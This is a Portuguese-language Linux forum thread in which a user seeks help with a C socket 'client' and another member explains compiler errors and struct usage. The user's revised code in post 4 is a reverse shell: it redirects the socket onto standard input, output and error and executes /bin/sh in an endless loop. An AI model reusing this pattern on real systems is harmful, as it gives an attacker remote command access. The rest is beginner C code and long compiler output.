Cliente socket escrito em C [AJUDA!] [RESOLVIDO]

1. Cliente socket escrito em C [AJUDA!] [RESOLVIDO]

Roberto
mrx6s0

(usa Ubuntu)

Enviado em 06/10/2017 - 20:40h

Boa noite. Estou com problemas no seguinte código, a conexão não acontece.

Se alguém puder me dar uma luz, primeira vez que estou usando structs com sockets, não sei se a maneira que fiz faz muito sentido...

agradeço qualquer ajuda


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <string.h>
#include <arpa/inet.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>

#define IP "127.0.0.1"

#define PORT 55766

/* struct of cong=figurations to client. */

typedef struct client {

char * ip;
int * port;
char cmd[_T_SIZE 256];
//char send[2046];

} Client;

typedef struct connection_success {

int sockfd;
int newsockfd;
int n;
int listenfd;

} Connection_success;

/* execute the program */

int main(int argc, char *argv[])

{


const static unsigned char **ip;
const static unsigned long int **port;
const static unsigned char **cmd;

const static const long unsigned int **newsockfd;
const static const long unsigned int **n;
const static long unsigned int *listenfd;
const static long unsigned int *clien;


/* create connection */

struct sockaddr_in serv_addr;

listenfd = socket(AF_INET, SOCK_STREAM, 0);
bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));

memset(&serv_addr, '0', sizeof(serv_addr));
memset(&cmd, '0', sizeof(cmd));

serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(ip);
serv_addr.sin_port = htons(port);

if (listenfd <= 0)
perror("error 101");

if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int)) < 0)
perror("setsockopt(SO_REUSEADDR) failed");

bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));

listen(listenfd, 10);

printf("about to listen\n");
listen(listenfd, 10);
clien = sizeof(serv_addr);

int k;

for(k=0; k<100; k++)
{
newsockfd = accept(sockfd,
(struct sockaddr *) &serv_addr,
&clien);

if (newsockfd < 0)
error("ERROR on accept");
bzero(cmd,256);
n = read(newsockfd,cmd,255);
if (n < 0) error("ERROR reading from socket");
printf("Here is the message: %s\n",cmd);
n = write(newsockfd,"I got your message",18);
if (n < 0) error("ERROR writing to socket");
close(newsockfd);
}
close(sockfd);
return 0;
}




  


2. Re: Cliente socket escrito em C [AJUDA!]

Paulo
paulo1205

(usa Ubuntu)

Enviado em 06/10/2017 - 23:13h

Seu programa nem compila. Recomendo tratar as mensagens de erro mostradas.

$ gcc -Wall -Werror -O2 -pedantic-errors -c x.c
x.c: In function ‘main’:
x.c:56:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]
listenfd = socket(AF_INET, SOCK_STREAM, 0);
^
x.c:57:8: error: passing argument 1 of ‘bind’ makes integer from pointer without a cast [-Wint-conversion]
bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:123:12: note: expected ‘int’ but argument is of type ‘const long unsigned int *’
extern int bind (int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len)
^
In file included from /usr/include/arpa/inet.h:22:0,
from x.c:6:
x.c:63:37: error: passing argument 1 of ‘__bswap_32’ makes integer from pointer without a cast [-Wint-conversion]
serv_addr.sin_addr.s_addr = htonl(ip);
^
In file included from /usr/include/endian.h:60:0,
from /usr/include/x86_64-linux-gnu/bits/waitstatus.h:64,
from /usr/include/stdlib.h:42,
from x.c:2:
/usr/include/x86_64-linux-gnu/bits/byteswap.h:45:1: note: expected ‘unsigned int’ but argument is of type ‘const unsigned char **’
__bswap_32 (unsigned int __bsx)
^
x.c:66:16: error: ordered comparison of pointer with integer zero [-Wpedantic]
if (listenfd <= 0)
^
x.c:69:18: error: passing argument 1 of ‘setsockopt’ makes integer from pointer without a cast [-Wint-conversion]
if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int))
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:226:12: note: expected ‘int’ but argument is of type ‘const long unsigned int *’
extern int setsockopt (int __fd, int __level, int __optname,
^
x.c:72:8: error: passing argument 1 of ‘bind’ makes integer from pointer without a cast [-Wint-conversion]
bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:123:12: note: expected ‘int’ but argument is of type ‘const long unsigned int *’
extern int bind (int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len)
^
x.c:74:10: error: passing argument 1 of ‘listen’ makes integer from pointer without a cast [-Wint-conversion]
listen(listenfd, 10);
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:233:12: note: expected ‘int’ but argument is of type ‘const long unsigned int *’
extern int listen (int __fd, int __n) __THROW;
^
x.c:77:13: error: passing argument 1 of ‘listen’ makes integer from pointer without a cast [-Wint-conversion]
listen(listenfd, 10);
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:233:12: note: expected ‘int’ but argument is of type ‘const long unsigned int *’
extern int listen (int __fd, int __n) __THROW;
^
x.c:78:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]
clien = sizeof(serv_addr);
^
x.c:84:29: error: ‘sockfd’ undeclared (first use in this function)
newsockfd = accept(sockfd,
^
x.c:84:29: note: each undeclared identifier is reported only once for each function it appears in
x.c:86:18: error: passing argument 3 of ‘accept’ from incompatible pointer type [-Wincompatible-pointer-types]
&clien);
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:243:12: note: expected ‘socklen_t * restrict {aka unsigned int * restrict}’ but argument is of type ‘const long unsigned int **’
extern int accept (int __fd, __SOCKADDR_ARG __addr,
^
x.c:88:24: error: ordered comparison of pointer with integer zero [-Wpedantic]
if (newsockfd < 0)
^
x.c:89:14: error: implicit declaration of function ‘error’ [-Wimplicit-function-declaration]
error("ERROR on accept");
^
x.c:91:14: error: implicit declaration of function ‘read’ [-Wimplicit-function-declaration]
n = read(newsockfd,cmd,255);
^
x.c:91:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]
n = read(newsockfd,cmd,255);
^
x.c:92:16: error: ordered comparison of pointer with integer zero [-Wpedantic]
if (n < 0) error("ERROR reading from socket");
^
x.c:93:17: error: format ‘%s’ expects argument of type ‘char *’, but argument 2 has type ‘const unsigned char **’ [-Werror=format=]
printf("Here is the message: %s\n",cmd);
^
x.c:94:14: error: implicit declaration of function ‘write’ [-Wimplicit-function-declaration]
n = write(newsockfd,"I got your message",18);
^
x.c:94:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]
n = write(newsockfd,"I got your message",18);
^
x.c:95:16: error: ordered comparison of pointer with integer zero [-Wpedantic]
if (n < 0) error("ERROR writing to socket");
^
x.c:96:10: error: implicit declaration of function ‘close’ [-Wimplicit-function-declaration]
close(newsockfd);
^
cc1: all warnings being treated as errors


Boa parte dos erros tem a ver com tipos errôneos das variáveis. Entre outros, você usou ponteiros onde não deveria tê-los usado. Alguma razão para isso?


3. Protótipo funcional.

Roberto
mrx6s0

(usa Ubuntu)

Enviado em 06/10/2017 - 23:20h

 

/* create connection */
void shell()

{

int x;

struct sockaddr_in s;

s.sin_family = AF_INET;
s.sin_addr.s_addr = inet_addr(remote_addr);
s.sin_port = htons(remote_port);

x = socket(AF_INET, SOCK_STREAM, 0);

connect(x, (struct sockaddr *)&s, sizeof(s));

if (setsockopt(x, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int)) < 0)
perror("setsockopt(SO_REUSEADDR) failed");
}
/* execute the program */

int main(int argc, char *argv[])

{

shell();

}




4. Re: Cliente socket escrito em C [AJUDA!]

Roberto
mrx6s0

(usa Ubuntu)

Enviado em 06/10/2017 - 23:40h

paulo1205 escreveu:

Seu programa nem compila. Recomendo tratar as mensagens de erro mostradas.

$ gcc -Wall -Werror -O2 -pedantic-errors -c x.c
x.c: In function ‘main’:
x.c:56:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]
listenfd = socket(AF_INET, SOCK_STREAM, 0);
^
x.c:57:8: error: passing argument 1 of ‘bind’ makes integer from pointer without a cast [-Wint-conversion]
bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:123:12: note: expected ‘int’ but argument is of type ‘const long unsigned int *’
extern int bind (int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len)
^
In file included from /usr/include/arpa/inet.h:22:0,
from x.c:6:
x.c:63:37: error: passing argument 1 of ‘__bswap_32’ makes integer from pointer without a cast [-Wint-conversion]
serv_addr.sin_addr.s_addr = htonl(ip);
^
In file included from /usr/include/endian.h:60:0,
from /usr/include/x86_64-linux-gnu/bits/waitstatus.h:64,
from /usr/include/stdlib.h:42,
from x.c:2:
/usr/include/x86_64-linux-gnu/bits/byteswap.h:45:1: note: expected ‘unsigned int’ but argument is of type ‘const unsigned char **’
__bswap_32 (unsigned int __bsx)
^
x.c:66:16: error: ordered comparison of pointer with integer zero [-Wpedantic]
if (listenfd <= 0)
^
x.c:69:18: error: passing argument 1 of ‘setsockopt’ makes integer from pointer without a cast [-Wint-conversion]
if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int))
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:226:12: note: expected ‘int’ but argument is of type ‘const long unsigned int *’
extern int setsockopt (int __fd, int __level, int __optname,
^
x.c:72:8: error: passing argument 1 of ‘bind’ makes integer from pointer without a cast [-Wint-conversion]
bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:123:12: note: expected ‘int’ but argument is of type ‘const long unsigned int *’
extern int bind (int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len)
^
x.c:74:10: error: passing argument 1 of ‘listen’ makes integer from pointer without a cast [-Wint-conversion]
listen(listenfd, 10);
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:233:12: note: expected ‘int’ but argument is of type ‘const long unsigned int *’
extern int listen (int __fd, int __n) __THROW;
^
x.c:77:13: error: passing argument 1 of ‘listen’ makes integer from pointer without a cast [-Wint-conversion]
listen(listenfd, 10);
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:233:12: note: expected ‘int’ but argument is of type ‘const long unsigned int *’
extern int listen (int __fd, int __n) __THROW;
^
x.c:78:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]
clien = sizeof(serv_addr);
^
x.c:84:29: error: ‘sockfd’ undeclared (first use in this function)
newsockfd = accept(sockfd,
^
x.c:84:29: note: each undeclared identifier is reported only once for each function it appears in
x.c:86:18: error: passing argument 3 of ‘accept’ from incompatible pointer type [-Wincompatible-pointer-types]
&clien);
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:243:12: note: expected ‘socklen_t * restrict {aka unsigned int * restrict}’ but argument is of type ‘const long unsigned int **’
extern int accept (int __fd, __SOCKADDR_ARG __addr,
^
x.c:88:24: error: ordered comparison of pointer with integer zero [-Wpedantic]
if (newsockfd < 0)
^
x.c:89:14: error: implicit declaration of function ‘error’ [-Wimplicit-function-declaration]
error("ERROR on accept");
^
x.c:91:14: error: implicit declaration of function ‘read’ [-Wimplicit-function-declaration]
n = read(newsockfd,cmd,255);
^
x.c:91:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]
n = read(newsockfd,cmd,255);
^
x.c:92:16: error: ordered comparison of pointer with integer zero [-Wpedantic]
if (n < 0) error("ERROR reading from socket");
^
x.c:93:17: error: format ‘%s’ expects argument of type ‘char *’, but argument 2 has type ‘const unsigned char **’ [-Werror=format=]
printf("Here is the message: %s\n",cmd);
^
x.c:94:14: error: implicit declaration of function ‘write’ [-Wimplicit-function-declaration]
n = write(newsockfd,"I got your message",18);
^
x.c:94:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]
n = write(newsockfd,"I got your message",18);
^
x.c:95:16: error: ordered comparison of pointer with integer zero [-Wpedantic]
if (n < 0) error("ERROR writing to socket");
^
x.c:96:10: error: implicit declaration of function ‘close’ [-Wimplicit-function-declaration]
close(newsockfd);
^
cc1: all warnings being treated as errors


Boa parte dos erros tem a ver com tipos errôneos das variáveis. Entre outros, você usou ponteiros onde não deveria tê-los usado. Alguma razão para isso?


paulo1205 escreveu:

Seu programa nem compila. Recomendo tratar as mensagens de erro mostradas.

$ gcc -Wall -Werror -O2 -pedantic-errors -c x.c
x.c: In function ?main?:
x.c:56:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]
listenfd = socket(AF_INET, SOCK_STREAM, 0);
^
x.c:57:8: error: passing argument 1 of ?bind? makes integer from pointer without a cast [-Wint-conversion]
bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:123:12: note: expected ?int? but argument is of type ?const long unsigned int *?
extern int bind (int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len)
^
In file included from /usr/include/arpa/inet.h:22:0,
from x.c:6:
x.c:63:37: error: passing argument 1 of ?__bswap_32? makes integer from pointer without a cast [-Wint-conversion]
serv_addr.sin_addr.s_addr = htonl(ip);
^
In file included from /usr/include/endian.h:60:0,
from /usr/include/x86_64-linux-gnu/bits/waitstatus.h:64,
from /usr/include/stdlib.h:42,
from x.c:2:
/usr/include/x86_64-linux-gnu/bits/byteswap.h:45:1: note: expected ?unsigned int? but argument is of type ?const unsigned char **?
__bswap_32 (unsigned int __bsx)
^
x.c:66:16: error: ordered comparison of pointer with integer zero [-Wpedantic]
if (listenfd <= 0)
^
x.c:69:18: error: passing argument 1 of ?setsockopt? makes integer from pointer without a cast [-Wint-conversion]
if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int))
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:226:12: note: expected ?int? but argument is of type ?const long unsigned int *?
extern int setsockopt (int __fd, int __level, int __optname,
^
x.c:72:8: error: passing argument 1 of ?bind? makes integer from pointer without a cast [-Wint-conversion]
bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:123:12: note: expected ?int? but argument is of type ?const long unsigned int *?
extern int bind (int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len)
^
x.c:74:10: error: passing argument 1 of ?listen? makes integer from pointer without a cast [-Wint-conversion]
listen(listenfd, 10);
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:233:12: note: expected ?int? but argument is of type ?const long unsigned int *?
extern int listen (int __fd, int __n) __THROW;
^
x.c:77:13: error: passing argument 1 of ?listen? makes integer from pointer without a cast [-Wint-conversion]
listen(listenfd, 10);
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:233:12: note: expected ?int? but argument is of type ?const long unsigned int *?
extern int listen (int __fd, int __n) __THROW;
^
x.c:78:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]
clien = sizeof(serv_addr);
^
x.c:84:29: error: ?sockfd? undeclared (first use in this function)
newsockfd = accept(sockfd,
^
x.c:84:29: note: each undeclared identifier is reported only once for each function it appears in
x.c:86:18: error: passing argument 3 of ?accept? from incompatible pointer type [-Wincompatible-pointer-types]
&clien);
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:243:12: note: expected ?socklen_t * restrict {aka unsigned int * restrict}? but argument is of type ?const long unsigned int **?
extern int accept (int __fd, __SOCKADDR_ARG __addr,
^
x.c:88:24: error: ordered comparison of pointer with integer zero [-Wpedantic]
if (newsockfd < 0)
^
x.c:89:14: error: implicit declaration of function ?error? [-Wimplicit-function-declaration]
error("ERROR on accept");
^
x.c:91:14: error: implicit declaration of function ?read? [-Wimplicit-function-declaration]
n = read(newsockfd,cmd,255);
^
x.c:91:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]
n = read(newsockfd,cmd,255);
^
x.c:92:16: error: ordered comparison of pointer with integer zero [-Wpedantic]
if (n < 0) error("ERROR reading from socket");
^
x.c:93:17: error: format ?%s? expects argument of type ?char *?, but argument 2 has type ?const unsigned char **? [-Werror=format=]
printf("Here is the message: %s\n",cmd);
^
x.c:94:14: error: implicit declaration of function ?write? [-Wimplicit-function-declaration]
n = write(newsockfd,"I got your message",18);
^
x.c:94:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]
n = write(newsockfd,"I got your message",18);
^
x.c:95:16: error: ordered comparison of pointer with integer zero [-Wpedantic]
if (n < 0) error("ERROR writing to socket");
^
x.c:96:10: error: implicit declaration of function ?close? [-Wimplicit-function-declaration]
close(newsockfd);
^
cc1: all warnings being treated as errors


Boa parte dos erros tem a ver com tipos errôneos das variáveis. Entre outros, você usou ponteiros onde não deveria tê-los usado. Alguma razão para isso?



Bom, eu não encontrei muita coisa sobre ponteiros envolvendo sockets, fiquei meio perdido...

Mas estou encontrando os erros.

Eu acabei de arrumar, é bem trivial, mas funcional. Vou melhorando aos poucos.

Toda ajuda é bem vinda para tratar melhor a escrita do código.


Segue o esboço:


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <string.h>
#include <arpa/inet.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>

#define remote_addr "127.0.0.1"

#define remote_port 55766

/* struct of cong=figurations to target. */

typedef struct client {

char REMOTE_ADDR;
int REMOTE_PORT;

/* char cmd[_T_SIZE 256];
char send[2046]; não serão usados, por ora. */

} Client;

typedef struct connection_success {

/*
int sockfd;
int newsockfd;
int listenfd; */

int x;

} Connection_success;

/* create connection */

void shell()

{

struct sockaddr_in s;

s.sin_family = AF_INET;
s.sin_addr.s_addr = inet_addr(remote_addr);
s.sin_port = htons(remote_port);

x = socket(AF_INET, SOCK_STREAM, 0);

connect(x, (struct sockaddr *)&s, sizeof(s));

if (setsockopt(x, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int)) < 0)
perror("setsockopt(SO_REUSEADDR) failed");

send(x,"\nConnected\n",12,0);

/* gambiarra. */
dup2(x, 0);
dup2(x, 1);
dup2(x, 2);

execve("/bin/sh", 0, 0);
execve("cmd.exe", 0, 0);
execve("/netcat", 0, 0);

}
/* execute the program */

int main(int argc, char *argv[])

{

while(1)

shell();

}




5. Re: Cliente socket escrito em C [AJUDA!] [RESOLVIDO]

Roberto
mrx6s0

(usa Ubuntu)

Enviado em 06/10/2017 - 23:52h

No caso, fiquei em dúvida quanto á declaração das variáveis contidas na struct


typedef struct client {
char * ip;
int port;

const static unsigned char **ip;
const static int *port;


ou por estarem contidas na struct, toda vez que me referenciar à elas, serão invocadas?


Abraço.


6. Re: Cliente socket escrito em C [AJUDA!]

Paulo
paulo1205

(usa Ubuntu)

Enviado em 07/10/2017 - 00:14h

Caro mrx6s0,

Eu recomendo que você sempre compile o programa com opções de diagnóstico ligadas, pois elas ajudam a identificar, entre outras coisas, erros com relação a tipos de variáveis, variáveis utilizadas sem um valor inicial conhecido, variáveis que nunca são utilizadas, comandos que nunca serão executados, e outros.

Se você estiver usando GCC ou Clang, as opções de compilação que eu recomendo são: -Wall -Werror -pedantic-errors -O2.


Campos de uma estrutura não têm relação com variáveis declaradas fora da estrutura, mesmo que elas tenham o mesmo nome desses campos.

Uma estrutura não é uma variável. Uma estrutura é uma definição de um tipo de dado composto por elementos de dados menores (os campos da estrutura), a fim de declarar variáveis que sejam desse tipo composto. Se, por exemplo, você declara uma estrutura X contendo os campos a e b, e as variáveis x e y com o tipo struct X, então a variável x será enxergada como um objeto diferente de y, de modo que x.a pode ter um valor diferente de y.a, que será também diferente de uma variável isolada a, e x.b pode ter um valor independente de y.b e independente da variável isolada b.

Você está estudando C por meio de alguma apostila, livro ou curso, ou está apenas tentando aprender com base em exemplos? Parece-me que você precisa de um pouco de teoria, que fica difícil de transmitir por um fórum como este.


7. Re: Cliente socket escrito em C [AJUDA!]

Roberto
mrx6s0

(usa Ubuntu)

Enviado em 07/10/2017 - 01:51h

paulo1205 escreveu:

Caro mrx6s0,

Eu recomendo que você sempre compile o programa com opções de diagnóstico ligadas, pois elas ajudam a identificar, entre outras coisas, erros com relação a tipos de variáveis, variáveis utilizadas sem um valor inicial conhecido, variáveis que nunca são utilizadas, comandos que nunca serão executados, e outros.

Se você estiver usando GCC ou Clang, as opções de compilação que eu recomendo são: -Wall -Werror -pedantic-errors -O2.


Campos de uma estrutura não têm relação com variáveis declaradas fora da estrutura, mesmo que elas tenham o mesmo nome desses campos.

Uma estrutura não é uma variável. Uma estrutura é uma definição de um tipo de dado composto por elementos de dados menores (os campos da estrutura), a fim de declarar variáveis que sejam desse tipo composto. Se, por exemplo, você declara uma estrutura X contendo os campos a e b, e as variáveis x e y com o tipo struct X, então a variável x será enxergada como um objeto diferente de y, de modo que x.a pode ter um valor diferente de y.a, que será também diferente de uma variável isolada a, e x.b pode ter um valor independente de y.b e independente da variável isolada b.

Você está estudando C por meio de alguma apostila, livro ou curso, ou está apenas tentando aprender com base em exemplos? Parece-me que você precisa de um pouco de teoria, que fica difícil de transmitir por um fórum como este.




Pois então, eu estudo por conta, com uns livros e apostilas que tenho. Mas no caso, não faço faculdade voltada a computação, logo,meu tempo se limita bastante para o estudo da programação, computação em geral. Estou sempre estudando o que posso.

Vou me guiando pelos meus acertos e erros, digamos.

Estou usando usando as struct pois li sobre otimização de códigos, e usá-las é um bom método. Método tal que não sei se estou aplicando corretamente.

Esse código tem outras funções... mas algo que eu preciso é manter a rotina de conexão após o servidor ''desligar". Adcionar exceções de erro seria uma "saída"?

Aliás, existem métodos adequados para tal?

Atenciosamente,



8. Protótipo funcional. [adaptado]

Roberto
mrx6s0

(usa Ubuntu)

Enviado em 08/10/2017 - 04:14h

Senhores, segue um protótipo funcional de uma conexão socket, no lado cliente.



#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <arpa/inet.h>
#include <sys/types.h>

#define remote_addr "127.0.0.1"

#define remote_port 557

void shell()

{

int x;
struct sockaddr_in s;

s.sin_family = AF_INET;
s.sin_addr.s_addr = inet_addr(remote_addr);
s.sin_port = htons(remote_port);
memset(s.sin_zero, '\0', sizeof s.sin_zero);

x = socket(AF_INET, SOCK_STREAM, 0);

connect(x, (struct sockaddr *)&s, sizeof(s));
if(connect == -1)
perror("connect_socket(CONNECT_STABILISHED)failed");

if (setsockopt(x, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int)) < 0)
perror("setsockopt(SO_REUSEADDR) failed");

{

return;

}
}
/* execute the program */

int main(int argc, char *argv[])

{

shell();

}

No lado do servidor:

#include<stdio.h>
#include<string.h> //strlen
#include<sys/socket.h>
#include<arpa/inet.h> //inet_addr
#include<unistd.h> //write

int main(int argc , char *argv[])

{
int socket_desc , client_sock , c , read_size;
struct sockaddr_in server , client;
char client_message[2000];

//Create socket
socket_desc = socket(AF_INET , SOCK_STREAM , 0);
if (socket_desc == -1)
{
printf("Could not create socket");
}
puts("Socket created");

//Prepare the sockaddr_in structure
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons( 55766 );

//Bind
if( bind(socket_desc,(struct sockaddr *)&server , sizeof(server)) < 0)
{
//print the error message
perror("bind failed. Error");
return 1;
}
puts("bind done");

//Listen
listen(socket_desc , 3);

//Accept and incoming connection
puts("Waiting for incoming connections...");
c = sizeof(struct sockaddr_in);

//accept connection from an incoming client
client_sock = accept(socket_desc, (struct sockaddr *)&client, (socklen_t*)&c);
if (client_sock < 0)
{
perror("accept failed");
return 1;
}
puts("Connection accepted");

}


opniões, dicar, críticas são bem vindas!

tudo pelo conhecimento!

Atenciosamente,

mrx6s0






Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts